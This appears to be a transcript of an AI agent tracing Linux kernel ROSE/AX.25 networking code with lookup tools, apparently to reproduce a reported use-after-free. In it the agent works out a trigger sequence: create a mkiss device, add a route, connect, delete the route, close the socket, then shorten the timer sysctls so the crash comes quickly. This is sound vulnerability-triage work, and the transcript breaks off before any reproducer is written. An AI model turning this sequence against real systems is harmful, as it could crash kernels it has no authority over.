 598:		if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
 599:			return dev;
 600:	
 601:		return NULL;
 602:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 34924
							output: 44
							thoughts: 172
						

**Creating an AX.25 Device: A Quick Thought Process**

Alright, let's see, I need to conjure up an `ARPHRD_AX25` device. Hmm, the initial instinct is always to reach for `ip link add type dummy` and then try `ifconfig dummy0 hw ax25 11:22:33:44:55:66`. But hold on, the `dummy` interface... it's not designed to handle hardware type changes like that, is it? It's too simplistic.

Wait a minute... wasn't there something about `mkiss` creating AX.25 devices from pseudo-terminals? That rings a bell. Ah, yes, the classic approach:

```c
int ptmx = open("/dev/ptmx", O_RDWR);
ioctl(ptmx, TIOCSETD, N_AX25);
```

That should do the trick! Using the `N_AX25` line discipline with `ptmx` should give me an `ax0` device in no time. Yes, that is the ticket. I should have remembered that earlier. Good. Time to check the source, just to make sure I'm not missing anything. Let's delve into `drivers/net/hamradio/mkiss.c` and refresh my memory, to solidify this in my mind.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_open]

map[SourceCode: 688:	static int mkiss_open(struct tty_struct *tty)
 689:	{
 690:		struct net_device *dev;
 691:		struct mkiss *ax;
 692:		int err;
 693:	
 694:		if (!capable(CAP_NET_ADMIN))
 695:			return -EPERM;
 696:		if (tty->ops->write == NULL)
 697:			return -EOPNOTSUPP;
 698:	
 699:		dev = alloc_netdev(sizeof(struct mkiss), "ax%d", NET_NAME_UNKNOWN,
 700:				   ax_setup);
 701:		if (!dev) {
 702:			err = -ENOMEM;
 703:			goto out;
 704:		}
 705:	
 706:		ax = netdev_priv(dev);
 707:		ax->dev = dev;
 708:	
 709:		spin_lock_init(&ax->buflock);
 710:		refcount_set(&ax->refcnt, 1);
 711:		init_completion(&ax->dead);
 712:	
 713:		ax->tty = tty;
 714:		tty->disc_data = ax;
 715:		tty->receive_room = 65535;
 716:	
 717:		tty_driver_flush_buffer(tty);
 718:	
 719:		/* Restore default settings */
 720:		dev->type = ARPHRD_AX25;
 721:	
 722:		/* Perform the low-level AX25 initialization. */
 723:		err = ax_open(ax->dev);
 724:		if (err)
 725:			goto out_free_netdev;
 726:	
 727:		err = register_netdev(dev);
 728:		if (err)
 729:			goto out_free_buffers;
 730:	
 731:		/* after register_netdev() - because else printk smashes the kernel */
 732:		switch (crc_force) {
 733:		case 3:
 734:			ax->crcmode  = CRC_MODE_SMACK;
 735:			printk(KERN_INFO "mkiss: %s: crc mode smack forced.\n",
 736:			       ax->dev->name);
 737:			break;
 738:		case 2:
 739:			ax->crcmode  = CRC_MODE_FLEX;
 740:			printk(KERN_INFO "mkiss: %s: crc mode flexnet forced.\n",
 741:			       ax->dev->name);
 742:			break;
 743:		case 1:
 744:			ax->crcmode  = CRC_MODE_NONE;
 745:			printk(KERN_INFO "mkiss: %s: crc mode disabled.\n",
 746:			       ax->dev->name);
 747:			break;
 748:		case 0:
 749:		default:
 750:			crc_force = 0;
 751:			printk(KERN_INFO "mkiss: %s: crc mode is auto.\n",
 752:			       ax->dev->name);
 753:			ax->crcmode  = CRC_MODE_SMACK_TEST;
 754:		}
 755:		ax->crcauto = (crc_force ? 0 : 1);
 756:	
 757:		netif_start_queue(dev);
 758:	
 759:		/* Done.  We have linked the TTY line to a channel. */
 760:		return 0;
 761:	
 762:	out_free_buffers:
 763:		kfree(ax->rbuff);
 764:		kfree(ax->xbuff);
 765:	
 766:	out_free_netdev:
 767:		free_netdev(dev);
 768:	
 769:	out:
 770:		return err;
 771:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3.1-pro-preview

							input: 36629
							output: 43
							thoughts: 200
						

**AX.25 Line Discipline and Device Setup**

Okay, so `N_AX25` is definitely line discipline 5, confirmed by that `#define`. Great, that's straightforward. Now I remember, we can set that up pretty easily: open `/dev/ptmx`, set the line discipline with `ioctl(TIOCSETD)`, using the value 5, which gives us something like `ax0`. That's the core.

Alright, what's next? After creating it, we need to bring it up. Right, I recall the `ifreq` structure; we'll use that to set the `IFF_UP` flag via `ioctl(SIOCSIFFLAGS)`. Easy enough to get it running.

Wait... am I forgetting something crucial? Right, the AX.25 address itself! We need to associate an address with the interface, like `ax0`. Hmm, I can't recall off the top of my head if `ax_setup` handles that automatically, or if we need to explicitly set it. I should double check that function, just to be safe. It would be easy to overlook something so fundamental.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_setup]

map[SourceCode: 639:	static void ax_setup(struct net_device *dev)
 640:	{
 641:		/* Finish setting up the DEVICE info. */
 642:		dev->mtu             = AX_MTU;
 643:		dev->hard_header_len = AX25_MAX_HEADER_LEN;
 644:		dev->addr_len        = AX25_ADDR_LEN;
 645:		dev->type            = ARPHRD_AX25;
 646:		dev->tx_queue_len    = 10;
 647:		dev->header_ops      = &ax25_header_ops;
 648:		dev->netdev_ops	     = &ax_netdev_ops;
 649:	
 650:	
 651:		memcpy(dev->broadcast, &ax25_bcast, AX25_ADDR_LEN);
 652:		dev_addr_set(dev, (u8 *)&ax25_defaddr);
 653:	
 654:		dev->flags      = IFF_BROADCAST | IFF_MULTICAST;
 655:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3.1-pro-preview

							input: 37458
							output: 41
							thoughts: 699
						

**Setting Up a ROSE Connection**

Okay, so I'm looking at how to establish this ROSE connection. The initial step is to set the `ax25_defaddr`, which seems to be the entry point for this process. We can bring that up, no problem.

Next, I need to add the ROSE route. I have the `rose_route_struct` defined, which gives me all the fields: address, mask, neighbour, device, number of digis, and the digipeaters themselves. I see I need to define `rose_address` and `ax25_address`. Right, straightforward enough, they're just structures wrapping the address data.

Now, let's set up the route structure itself. I'll zero it out, fill in some example values. It looks like I'm setting a specific ROSE address, a mask, the neighbour's AX.25 callsign, the device to use ("ax0" in this example), and setting the number of digis to zero. Then I'll create a ROSE socket using `socket(AF_ROSE, SOCK_SEQPACKET, 0)` and call `ioctl(rose_sock, SIOCADDRT, &route)` to add the route.

Ah, but wait! There's a check in `rose_ax25_dev_find` to see if the device is actually up. I need to make sure "ax0" is brought up *before* I attempt to add the route.

Once the route is set, then I can connect the socket. The `sockaddr_rose` structure seems to be the way to go here. I'm noting the definition in the kernel header, making sure I have the right data types. Now I just need to `connect()` the socket to this route.

I initialize the `sockaddr_rose` structure, filling in the family as `AF_ROSE` and copying the target ROSE address from the route structure. Now, should I use the neighbour callsign from the route, or something else for `srose_call`? It is important to know that I need to do this `connect()`. But, wait, `rose_connect` actually handles the route lookup. So, this looks like a solid approach, now.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_connect]

map[SourceCode: 768:	static int rose_connect(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len,
 769:				int flags)
 770:	{
 771:		struct sock *sk = sock->sk;
 772:		struct rose_sock *rose = rose_sk(sk);
 773:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 774:		unsigned char cause, diagnostic;
 775:		ax25_uid_assoc *user;
 776:		int n, err = 0;
 777:	
 778:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 779:			return -EINVAL;
 780:	
 781:		if (addr->srose_family != AF_ROSE)
 782:			return -EINVAL;
 783:	
 784:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 785:			return -EINVAL;
 786:	
 787:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 788:			return -EINVAL;
 789:	
 790:		/* Source + Destination digis should not exceed ROSE_MAX_DIGIS */
 791:		if ((rose->source_ndigis + addr->srose_ndigis) > ROSE_MAX_DIGIS)
 792:			return -EINVAL;
 793:	
 794:		lock_sock(sk);
 795:	
 796:		if (sk->sk_state == TCP_ESTABLISHED && sock->state == SS_CONNECTING) {
 797:			/* Connect completed during a ERESTARTSYS event */
 798:			sock->state = SS_CONNECTED;
 799:			goto out_release;
 800:		}
 801:	
 802:		if (sk->sk_state == TCP_CLOSE && sock->state == SS_CONNECTING) {
 803:			sock->state = SS_UNCONNECTED;
 804:			err = -ECONNREFUSED;
 805:			goto out_release;
 806:		}
 807:	
 808:		if (sk->sk_state == TCP_ESTABLISHED) {
 809:			/* No reconnect on a seqpacket socket */
 810:			err = -EISCONN;
 811:			goto out_release;
 812:		}
 813:	
 814:		if (sk->sk_state == TCP_SYN_SENT) {
 815:			err = -EALREADY;
 816:			goto out_release;
 817:		}
 818:	
 819:		sk->sk_state   = TCP_CLOSE;
 820:		sock->state = SS_UNCONNECTED;
 821:	
 822:		rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
 823:						 &diagnostic, 0);
 824:		if (!rose->neighbour) {
 825:			err = -ENETUNREACH;
 826:			goto out_release;
 827:		}
 828:	
 829:		rose->lci = rose_new_lci(rose->neighbour);
 830:		if (!rose->lci) {
 831:			err = -ENETUNREACH;
 832:			rose_neigh_put(rose->neighbour);
 833:			goto out_release;
 834:		}
 835:	
 836:		if (sock_flag(sk, SOCK_ZAPPED)) {	/* Must bind first - autobinding in this may or may not work */
 837:			struct net_device *dev;
 838:	
 839:			sock_reset_flag(sk, SOCK_ZAPPED);
 840:	
 841:			dev = rose_dev_first();
 842:			if (!dev) {
 843:				err = -ENETUNREACH;
 844:				rose_neigh_put(rose->neighbour);
 845:				goto out_release;
 846:			}
 847:	
 848:			user = ax25_findbyuid(current_euid());
 849:			if (!user) {
 850:				err = -EINVAL;
 851:				rose_neigh_put(rose->neighbour);
 852:				dev_put(dev);
 853:				goto out_release;
 854:			}
 855:	
 856:			memcpy(&rose->source_addr, dev->dev_addr, ROSE_ADDR_LEN);
 857:			rose->source_call = user->call;
 858:			rose->device      = dev;
 859:			netdev_tracker_alloc(rose->device, &rose->dev_tracker,
 860:					     GFP_KERNEL);
 861:			ax25_uid_put(user);
 862:	
 863:			rose_insert_socket(sk);		/* Finish the bind */
 864:		}
 865:		rose->dest_addr   = addr->srose_addr;
 866:		rose->dest_call   = addr->srose_call;
 867:		rose->rand        = ((long)rose & 0xFFFF) + rose->lci;
 868:		rose->dest_ndigis = addr->srose_ndigis;
 869:	
 870:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 871:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 872:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 873:				rose->dest_digis[n] = full_addr->srose_digis[n];
 874:		} else {
 875:			if (rose->dest_ndigis == 1) {
 876:				rose->dest_digis[0] = addr->srose_digi;
 877:			}
 878:		}
 879:	
 880:		/* Move to connecting socket, start sending Connect Requests */
 881:		sock->state   = SS_CONNECTING;
 882:		sk->sk_state     = TCP_SYN_SENT;
 883:	
 884:		rose->state = ROSE_STATE_1;
 885:	
 886:		rose_write_internal(sk, ROSE_CALL_REQUEST);
 887:		rose_start_heartbeat(sk);
 888:		rose_start_t1timer(sk);
 889:	
 890:		/* Now the loop */
 891:		if (sk->sk_state != TCP_ESTABLISHED && (flags & O_NONBLOCK)) {
 892:			err = -EINPROGRESS;
 893:			goto out_release;
 894:		}
 895:	
 896:		/*
 897:		 * A Connect Ack with Choke or timeout or failed routing will go to
 898:		 * closed.
 899:		 */
 900:		if (sk->sk_state == TCP_SYN_SENT) {
 901:			DEFINE_WAIT(wait);
 902:	
 903:			for (;;) {
 904:				prepare_to_wait(sk_sleep(sk), &wait,
 905:						TASK_INTERRUPTIBLE);
 906:				if (sk->sk_state != TCP_SYN_SENT)
 907:					break;
 908:				if (!signal_pending(current)) {
 909:					release_sock(sk);
 910:					schedule();
 911:					lock_sock(sk);
 912:					continue;
 913:				}
 914:				err = -ERESTARTSYS;
 915:				break;
 916:			}
 917:			finish_wait(sk_sleep(sk), &wait);
 918:	
 919:			if (err)
 920:				goto out_release;
 921:		}
 922:	
 923:		if (sk->sk_state != TCP_ESTABLISHED) {
 924:			sock->state = SS_UNCONNECTED;
 925:			err = sock_error(sk);	/* Always set at this point */
 926:			goto out_release;
 927:		}
 928:	
 929:		sock->state = SS_CONNECTED;
 930:	
 931:	out_release:
 932:		release_sock(sk);
 933:	
 934:		return err;
 935:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 41142
							output: 43
							thoughts: 150
						

**My Immediate Concerns Regarding the ROSE Connection Tear-Down**

Okay, so I'm thinking through this `rose_connect` function. It seems it ultimately triggers `rose_write_internal(sk, ROSE_CALL_REQUEST)`. That function sends a frame, right? And, if we're using `O_NONBLOCK`, that call can return `-EINPROGRESS`. That's the key. If we get that, we *should* be able to safely delete the route, then close the socket.

But here's where it gets hairy. Closing the socket leads to `rose_release`. And that in turn calls `rose_neigh_put(rose->neighbour)`. Now, if the route *was* deleted, the `rose_neigh`'s refcount drops to zero, and it gets freed, right? That all sounds fine in theory.

However, a nagging worry is creeping in. The thing is, `rose_write_internal` *might* have started that `t0timer`. I need to be sure this timer isn't going to get orphaned and cause issues. I really need to double-check the logic within `rose_write_internal` to make sure we're handling that situation correctly. I need to understand what state it's in.

map[ContextFile:net/rose/rose_out.c IncludeLines:true Name:rose_write_internal]

map[SourceCode:  95:	/*
  96:	 *  This routine is called when the packet layer internally generates a
  97:	 *  control frame.
  98:	 */
  99:	void rose_write_internal(struct sock *sk, int frametype)
 100:	{
 101:		struct rose_sock *rose = rose_sk(sk);
 102:		struct sk_buff *skb;
 103:		unsigned char  *dptr;
 104:		unsigned char  lci1, lci2;
 105:		int maxfaclen = 0;
 106:		int len, faclen;
 107:		int reserve;
 108:	
 109:		reserve = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + 1;
 110:		len = ROSE_MIN_LEN;
 111:	
 112:		switch (frametype) {
 113:		case ROSE_CALL_REQUEST:
 114:			len   += 1 + ROSE_ADDR_LEN + ROSE_ADDR_LEN;
 115:			maxfaclen = 256;
 116:			break;
 117:		case ROSE_CALL_ACCEPTED:
 118:		case ROSE_CLEAR_REQUEST:
 119:		case ROSE_RESET_REQUEST:
 120:			len   += 2;
 121:			break;
 122:		}
 123:	
 124:		skb = alloc_skb(reserve + len + maxfaclen, GFP_ATOMIC);
 125:		if (!skb)
 126:			return;
 127:	
 128:		/*
 129:		 *	Space for AX.25 header and PID.
 130:		 */
 131:		skb_reserve(skb, reserve);
 132:	
 133:		dptr = skb_put(skb, len);
 134:	
 135:		lci1 = (rose->lci >> 8) & 0x0F;
 136:		lci2 = (rose->lci >> 0) & 0xFF;
 137:	
 138:		switch (frametype) {
 139:		case ROSE_CALL_REQUEST:
 140:			*dptr++ = ROSE_GFI | lci1;
 141:			*dptr++ = lci2;
 142:			*dptr++ = frametype;
 143:			*dptr++ = ROSE_CALL_REQ_ADDR_LEN_VAL;
 144:			memcpy(dptr, &rose->dest_addr,  ROSE_ADDR_LEN);
 145:			dptr   += ROSE_ADDR_LEN;
 146:			memcpy(dptr, &rose->source_addr, ROSE_ADDR_LEN);
 147:			dptr   += ROSE_ADDR_LEN;
 148:			faclen = rose_create_facilities(dptr, rose);
 149:			skb_put(skb, faclen);
 150:			dptr   += faclen;
 151:			break;
 152:	
 153:		case ROSE_CALL_ACCEPTED:
 154:			*dptr++ = ROSE_GFI | lci1;
 155:			*dptr++ = lci2;
 156:			*dptr++ = frametype;
 157:			*dptr++ = 0x00;		/* Address length */
 158:			*dptr++ = 0;		/* Facilities length */
 159:			break;
 160:	
 161:		case ROSE_CLEAR_REQUEST:
 162:			*dptr++ = ROSE_GFI | lci1;
 163:			*dptr++ = lci2;
 164:			*dptr++ = frametype;
 165:			*dptr++ = rose->cause;
 166:			*dptr++ = rose->diagnostic;
 167:			break;
 168:	
 169:		case ROSE_RESET_REQUEST:
 170:			*dptr++ = ROSE_GFI | lci1;
 171:			*dptr++ = lci2;
 172:			*dptr++ = frametype;
 173:			*dptr++ = ROSE_DTE_ORIGINATED;
 174:			*dptr++ = 0;
 175:			break;
 176:	
 177:		case ROSE_RR:
 178:		case ROSE_RNR:
 179:			*dptr++ = ROSE_GFI | lci1;
 180:			*dptr++ = lci2;
 181:			*dptr   = frametype;
 182:			*dptr++ |= (rose->vr << 5) & 0xE0;
 183:			break;
 184:	
 185:		case ROSE_CLEAR_CONFIRMATION:
 186:		case ROSE_RESET_CONFIRMATION:
 187:			*dptr++ = ROSE_GFI | lci1;
 188:			*dptr++ = lci2;
 189:			*dptr++  = frametype;
 190:			break;
 191:	
 192:		default:
 193:			printk(KERN_ERR "ROSE: rose_write_internal - invalid frametype %02X\n", frametype);
 194:			kfree_skb(skb);
 195:			return;
 196:		}
 197:	
 198:		rose_transmit_link(skb, rose->neighbour);
 199:	}
 SourceFile:net/rose/rose_subr.c]

gemini-3.1-pro-preview

							input: 43185
							output: 41
							thoughts: 435
						

**Analyzing the ROSE Protocol Sequence**

Okay, so I'm tracing the data flow here within the ROSE protocol implementation.  It looks like `rose_write_internal` is the key function because it calls `rose_transmit_link(skb, rose->neighbour)`, and that's the one that kicks off the `t0timer`. I'm trying to figure out if it's possible to trigger `rose_transmit_link` after deleting a route. Let's break down the scenario step-by-step to be sure.

First, the system will need to:
1.  Create an AX.25 interface, `ax0`, likely using `mkiss`, although I wonder if `netdevsim` might be an option if it's AX.25 compatible, but `mkiss` is the established method.
2.  Bring `ax0` up.
3.  Then, create a ROSE socket.
4.  Next, it will add a route to `ax0` using `SIOCADDRT`.
5.  Then, it will connect the ROSE socket to that route in a non-blocking manner. That calls `rose_connect`, which, importantly, gets a reference to `rose_neigh` - the refcount is now 2.  Then, within `rose_connect`, `rose_write_internal` is called, and *that* calls `rose_transmit_link`, and that's when the `t0timer` gets started.

Now, here's where it gets interesting and I start to question the sequence. Step 6:  the system *deletes* the route using `SIOCDELRT`. This calls `rose_del_node`, which should remove the `rose_neigh` from the list, stop the `t0timer`, and drop the refcount (refcount becomes 1, if I'm interpreting this correctly).

The core of my question is: Can I trigger a new transmission after the route has been deleted?

Now, here's the tricky part, if `t0timer` was stopped in step 6 (which I expect is the case), and I try to transmit something on the socket, I need to restart that timer, if possible.
How?

If I call `send()` on the socket, it should call `rose_sendmsg`. But, wait... `rose_sendmsg` checks `sk->sk_state == TCP_ESTABLISHED`. Since `connect()` is still in progress (or has just completed), the `sk_state` is probably `TCP_SYN_SENT` or something similar, it won't be ESTABLISHED. Therefore, a `send()` call will most likely return `-ENOTCONN`. That's not helpful. So, is there *another* way to trigger `rose_transmit_link`? I need to think this through. What if I just close the socket? What happens then? `rose_release` gets called, right?  Does `rose_release` provide a trigger? Let me check `rose_release`. It might call `rose_write_internal(sk, ROSE_CLEAR_REQUEST)` if the state is `ROSE_STATE_1` . If so, I'll need to figure out what that state is. I need to dig into `rose_release` to confirm.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_release]

map[SourceCode: 637:	static int rose_release(struct socket *sock)
 638:	{
 639:		struct sock *sk = sock->sk;
 640:		struct rose_sock *rose;
 641:	
 642:		if (sk == NULL) return 0;
 643:	
 644:		sock_hold(sk);
 645:		sock_orphan(sk);
 646:		lock_sock(sk);
 647:		rose = rose_sk(sk);
 648:	
 649:		switch (rose->state) {
 650:		case ROSE_STATE_0:
 651:			release_sock(sk);
 652:			rose_disconnect(sk, 0, -1, -1);
 653:			lock_sock(sk);
 654:			rose_destroy_socket(sk);
 655:			break;
 656:	
 657:		case ROSE_STATE_2:
 658:			rose_neigh_put(rose->neighbour);
 659:			release_sock(sk);
 660:			rose_disconnect(sk, 0, -1, -1);
 661:			lock_sock(sk);
 662:			rose_destroy_socket(sk);
 663:			break;
 664:	
 665:		case ROSE_STATE_1:
 666:		case ROSE_STATE_3:
 667:		case ROSE_STATE_4:
 668:		case ROSE_STATE_5:
 669:			rose_clear_queues(sk);
 670:			rose_stop_idletimer(sk);
 671:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 672:			rose_start_t3timer(sk);
 673:			rose->state  = ROSE_STATE_2;
 674:			sk->sk_state    = TCP_CLOSE;
 675:			sk->sk_shutdown |= SEND_SHUTDOWN;
 676:			sk->sk_state_change(sk);
 677:			sock_set_flag(sk, SOCK_DEAD);
 678:			sock_set_flag(sk, SOCK_DESTROY);
 679:			break;
 680:	
 681:		default:
 682:			break;
 683:		}
 684:	
 685:		spin_lock_bh(&rose_list_lock);
 686:		netdev_put(rose->device, &rose->dev_tracker);
 687:		rose->device = NULL;
 688:		spin_unlock_bh(&rose_list_lock);
 689:		sock->sk = NULL;
 690:		release_sock(sk);
 691:		sock_put(sk);
 692:	
 693:		return 0;
 694:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 45195
							output: 99
							thoughts: 367
						

**Analyzing the Potential Race Condition in the ROSE Implementation**

Okay, so `rose_release` is the key. If the state is `ROSE_STATE_1`, it calls `rose_write_internal` with `ROSE_CLEAR_REQUEST`. `rose_write_internal`, in turn, initiates `rose_transmit_link`, which means `t0timer` gets started. Then, the state transitions to `ROSE_STATE_2`, and `t3timer` kicks off. Here's where it gets interesting: moving to `ROSE_STATE_2` *doesn't* immediately trigger `rose_neigh_put`. Instead, we wait for `t3timer` to expire.

When `t3timer` does expire, `rose_timer_expiry` is called, and within that, the code calls `rose_neigh_put`. That call to `rose_neigh_put` is significant because it seems to be the place where `rose_neigh`'s refcount drops to zero, likely leading to the `rose_neigh` structure being freed.

But here’s the rub: remember that `t0timer` was started by `rose_write_internal` during the `rose_release` execution. The core of the problem is that if `t0timer` expires *after* `t3timer` does, it will try to access that freed `rose_neigh` structure. That sounds like a classic use-after-free vulnerability.

I need to confirm the timing of these timers. I’ll need to understand the default settings. Let's look at the timeouts. `t0timer`'s timeout duration is defined by `sysctl_rose_restart_request_timeout`. It looks like the default for `rose_restart_request_timeout` is 60 seconds (60000 milliseconds). If this is accurate, then `rose_t0timer_expiry` is indeed called after 60 seconds. We're on the right track; let's check the setting for `sysctl_rose_restart_request_timeout`.

map[ContextFile:net/rose/sysctl_net_rose.c IncludeLines:true Name:sysctl_rose_restart_request_timeout]

map[SourceCode:  49:	int sysctl_rose_restart_request_timeout = ROSE_DEFAULT_T0;
 SourceFile:net/rose/af_rose.c]

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:sysctl_rose_clear_request_timeout]

map[SourceCode:  52:	int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 46221
							output: 86
							thoughts: 23
						

Okay, here's my take on those thoughts, tailored for an expert audience:

**Examining ROSE Default Timepoints**

Alright, before diving too deep, I need to quickly verify my assumptions regarding the default timepoints used within the ROSE framework. Specifically, I need to confirm the values associated with `ROSE_DEFAULT_T0` and `ROSE_DEFAULT_T3`. I know the standard configuration, of course, but it's always worth a double-check to ensure there haven't been any recent modifications that might impact the results I'm about to generate, especially if I'm working with a different environment or configuration than I'm used to. A small oversight here could snowball into significant interpretational issues down the line, so a quick verification will help me prevent potential errors. Let's see what the values are.

requested entity does not exist

map[ContextFile:include/net/rose.h IncludeLines:true Name:ROSE_DEFAULT_T0]

map[SourceCode: SourceFile:]

requested entity does not exist

map[ContextFile:include/net/rose.h IncludeLines:true Name:ROSE_DEFAULT_T3]

map[SourceCode: SourceFile:]

gemini-3.1-pro-preview

							input: 46547
							output: 42
							thoughts: 24
						

Okay, here's my interpretation of that thought process, as if it were my own:

**Finding the ROSE_DEFAULT_T0 Constant**

Right, let's get down to it. I need to locate where the `ROSE_DEFAULT_T0` constant is defined, or used within the Linux kernel's networking stack, specifically within the AX.25 and ROSE protocols. Given that it's related to the ROSE protocol, I'll start by searching in the obvious place: `include/net/rose.h`. That header file is a good starting point for any ROSE-specific definitions and declarations, and it's where I'd expect to find a constant like this. It's likely involved in timer settings, connection parameters, or perhaps a default timeout value. Let's see what's there. Time to dig in and find this constant.

map[Expression:ROSE_DEFAULT_T0]

map[Output:include/net/rose.h=52=enum {
--
include/net/rose.h-60-
include/net/rose.h:61:#define ROSE_DEFAULT_T0			180000		/* Default T10 T20 value */
include/net/rose.h-62-#define ROSE_DEFAULT_T1			200000		/* Default T11 T21 value */
--
net/rose/af_rose.c=47=static int rose_ndevs = 10;
net/rose/af_rose.c-48-
net/rose/af_rose.c:49:int sysctl_rose_restart_request_timeout = ROSE_DEFAULT_T0;
net/rose/af_rose.c-50-int sysctl_rose_call_request_timeout    = ROSE_DEFAULT_T1;
]

map[Expression:ROSE_DEFAULT_T3]

map[Output:include/net/rose.h=52=enum {
--
include/net/rose.h-63-#define ROSE_DEFAULT_T2			180000		/* Default T12 T22 value */
include/net/rose.h:64:#define	ROSE_DEFAULT_T3			180000		/* Default T13 T23 value */
include/net/rose.h-65-#define	ROSE_DEFAULT_HB			5000		/* Default Holdback value */
--
net/rose/af_rose.c=51=int sysctl_rose_reset_request_timeout   = ROSE_DEFAULT_T2;
net/rose/af_rose.c:52:int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
net/rose/af_rose.c-53-int sysctl_rose_no_activity_timeout     = ROSE_DEFAULT_IDLE;
]

gemini-3.1-pro-preview

							input: 47259
							output: 44
							thoughts: 619
						

**Analyzing a Potential Use-After-Free Vulnerability in ROSE Network Code**

Okay, let's break this down. Both `t0timer` and `t3timer` are set to 180 seconds, which is a significant window of time. The key here is the timing. `t0timer` is initiated slightly before `t3timer` within the `rose_transmit_link` and `rose_release` sequences respectively. So, `t0timer` *should* expire slightly before `t3timer`.

My initial thought was, if `t0timer` expired first, `rose_neigh` should still be valid. The function `rose_t0timer_expiry` is called, it triggers a `rose_transmit_restart_request`, which, in turn, calls `rose_send_frame`, and then *restarts* `t0timer`! This is crucial. `t0timer` is *restarted* inside the expiry function itself, which I should have expected but I need to be more attentive to these details.

Then, `t3timer` expires. The report confirms that `t3timer` expiration leads to a call to `rose_neigh_put`, which is designed to free `rose_neigh`. The crash reported in the bug matches this sequence.

The problem, then, is that after `rose_neigh` is freed by the `t3timer`, `t0timer` expires *again* after it restarts itself, and attempts to access the now-freed `rose_neigh`! This leads to the use-after-free vulnerability, which explains the crash in `rose_t0timer_expiry` -> `rose_transmit_restart_request` -> `rose_send_frame`.

Now, 180 seconds is a long time to wait for a crash. I can speed up this analysis with sysctls, specifically `/proc/sys/net/rose/restart_request_timeout` and `/proc/sys/net/rose/clear_request_timeout`. If I set `clear_request_timeout` to a very small value, say 100 milliseconds, and `restart_request_timeout` to a slightly larger value, such as 200 milliseconds, `t3timer` should expire *before* `t0timer` finishes this time, which is exactly the scenario that I need for reproducing the UAF. The race condition should be triggered by making `t3timer` expire and release `rose_neigh` before the now running `t0timer` expires. I should be able to trigger this reliably, and with some more aggressive timings, should be able to more easily debug the crash. I should verify the sysctl names as well.

map[ContextFile:net/rose/sysctl_net_rose.c IncludeLines:true Name:rose_table]

map[SourceCode:  24:	static struct ctl_table rose_table[] = {
  25:		{
  26:			.procname	= "restart_request_timeout",
  27:			.data		= &sysctl_rose_restart_request_timeout,
  28:			.maxlen		= sizeof(int),
  29:			.mode		= 0644,
  30:			.proc_handler	= proc_dointvec_minmax,
  31:			.extra1		= &min_timer,
  32:			.extra2		= &max_timer
  33:		},
  34:		{
  35:			.procname	= "call_request_timeout",
  36:			.data		= &sysctl_rose_call_request_timeout,
  37:			.maxlen		= sizeof(int),
  38:			.mode		= 0644,
  39:			.proc_handler	= proc_dointvec_minmax,
  40:			.extra1		= &min_timer,
  41:			.extra2		= &max_timer
  42:		},
  43:		{
  44:			.procname	= "reset_request_timeout",
  45:			.data		= &sysctl_rose_reset_request_timeout,
  46:			.maxlen		= sizeof(int),
  47:			.mode		= 0644,
  48:			.proc_handler	= proc_dointvec_minmax,
  49:			.extra1		= &min_timer,
  50:			.extra2		= &max_timer
  51:		},
  52:		{
  53:			.procname	= "clear_request_timeout",
  54:			.data		= &sysctl_rose_clear_request_timeout,
  55:			.maxlen		= sizeof(int),
  56:			.mode		= 0644,
  57:			.proc_handler	= proc_dointvec_minmax,
  58:			.extra1		= &min_timer,
  59:			.extra2		= &max_timer
  60:		},
  61:		{
  62:			.procname	= "no_activity_timeout",
  63:			.data		= &sysctl_rose_no_activity_timeout,
  64:			.maxlen		= sizeof(int),
  65:			.mode		= 0644,
  66:			.proc_handler	= proc_dointvec_minmax,
  67:			.extra1		= &min_idle,
  68:			.extra2		= &max_idle
  69:		},
  70:		{
  71:			.procname	= "acknowledge_hold_back_timeout",
  72:			.data		= &sysctl_rose_ack_hold_back_timeout,
  73:			.maxlen		= sizeof(int),
  74:			.mode		= 0644,
  75:			.proc_handler	= proc_dointvec_minmax,
  76:			.extra1		= &min_timer,
  77:			.extra2		= &max_timer
  78:		},
  79:		{
  80:			.procname	= "routing_control",
  81:			.data		= &sysctl_rose_routing_control,
  82:			.maxlen		= sizeof(int),
  83:			.mode		= 0644,
  84:			.proc_handler	= proc_dointvec_minmax,
  85:			.extra1		= &min_route,
  86:			.extra2		= &max_route
  87:		},
  88:		{
  89:			.procname	= "link_fail_timeout",
  90:			.data		= &sysctl_rose_link_fail_timeout,
  91:			.maxlen		= sizeof(int),
  92:			.mode		= 0644,
  93:			.proc_handler	= proc_dointvec_minmax,
  94:			.extra1		= &min_ftimer,
  95:			.extra2		= &max_ftimer
  96:		},
  97:		{
  98:			.procname	= "maximum_virtual_circuits",
  99:			.data		= &sysctl_rose_maximum_vcs,
 100:			.maxlen		= sizeof(int),
 101:			.mode		= 0644,
 102:			.proc_handler	= proc_dointvec_minmax,
 103:			.extra1		= &min_maxvcs,
 104:			.extra2		= &max_maxvcs
 105:		},
 106:		{
 107:			.procname	= "window_size",
 108:			.data		= &sysctl_rose_window_size,
 109:			.maxlen		= sizeof(int),
 110:			.mode		= 0644,
 111:			.proc_handler	= proc_dointvec_minmax,
 112:			.extra1		= &min_window,
